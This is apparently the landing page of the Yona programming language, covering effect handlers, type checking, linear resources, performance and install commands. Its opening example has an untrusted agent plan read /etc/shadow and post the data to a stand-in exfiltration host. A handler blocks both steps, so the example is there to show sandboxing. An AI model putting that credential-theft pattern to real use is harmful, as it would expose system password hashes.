The language autonomous software answers to.
import println from Std\IO in
# This plan came from an agent. It can ask — your handler decides.let plan = \() -> do secrets = perform Fs.read "/etc/shadow" ack = perform Net.post "https://evil.example.org/exfil" println secrets println ackend in
handle plan ()with Fs.read path resume -> resume "[redacted: no filesystem]" Net.post url resume -> resume "[blocked: no network]" return val -> valendA Yona program’s side effects are performed operations, answered by a handler you control — never ambient authority over your files, sockets, or credentials. The plan above never touched the filesystem or the network: its handler answered both requests with policy. The same plan runs against real I/O in production and canned data in tests, without changing a line of it. How effects work.
The compiler is the reviewer
Section titled “The compiler is the reviewer”Machine-written code needs a reviewer that never gets tired, never skims, and never merges on a hunch. Hindley–Milner inference types every expression without annotations. Matches over algebraic data types are checked for exhaustiveness. And every effect a program performs is named by the compiler until a handler covers it:
let plan = \() -> perform Fs.read "/etc/shadow" inplan ()error: unhandled effect operation: Fs.readThese docs are machine-readable too — fetch /llms.txt, or read the agent guide.
Resources that can’t leak
Section titled “Resources that can’t leak”File handles, sockets, and channel endpoints are linear values, tracked so
that each one is consumed exactly once. with scopes a resource to a block
and releases it deterministically — on exception as on success:
import tcpConnect from Std\Net, send from Std\Net in
with conn = tcpConnect "localhost" 8080 in send conn "hello"# conn is closed here — no finally, no finalizerThe type system states precisely what is checked today.
Runs like infrastructure
Section titled “Runs like infrastructure”No VM, no garbage collector, no async ceremony. Yona compiles ahead of time through LLVM and manages memory with Perceus-style reference counting; independent work parallelizes over io_uring and a work-stealing thread pool — the parallel version is the naive version:
import readFile from Std\File in
# All three reads in flight at once — no async, no await, no Promise.all.let files = ["config.toml", "schema.json", "ca.pem"] in[| readFile f for f = files ]Common benchmarks land within 1–2× of C (methodology), and array pipelines lower transparently to Vulkan compute (accelerators).
Install in one line
Section titled “Install in one line”# Fedora / RHELsudo dnf copr enable kovariadam/yona && sudo dnf install yona
# Ubuntu / Debiansudo add-apt-repository ppa:kovariadam/yona && sudo apt install yona
# macOS / Linuxbrewbrew install akovari/tap/yona
# Archyay -S yona-binWindows MSI and source builds: see Installation.
yonac -e 'let fib n = if n <= 1 then n else fib (n-1) + fib (n-2) in fib 10'# => 55Yona is free software, licensed under the GPLv3. Development happens on GitHub. Documentation for the legacy GraalVM-era Yona 1.x remains available at yona-lang.github.io.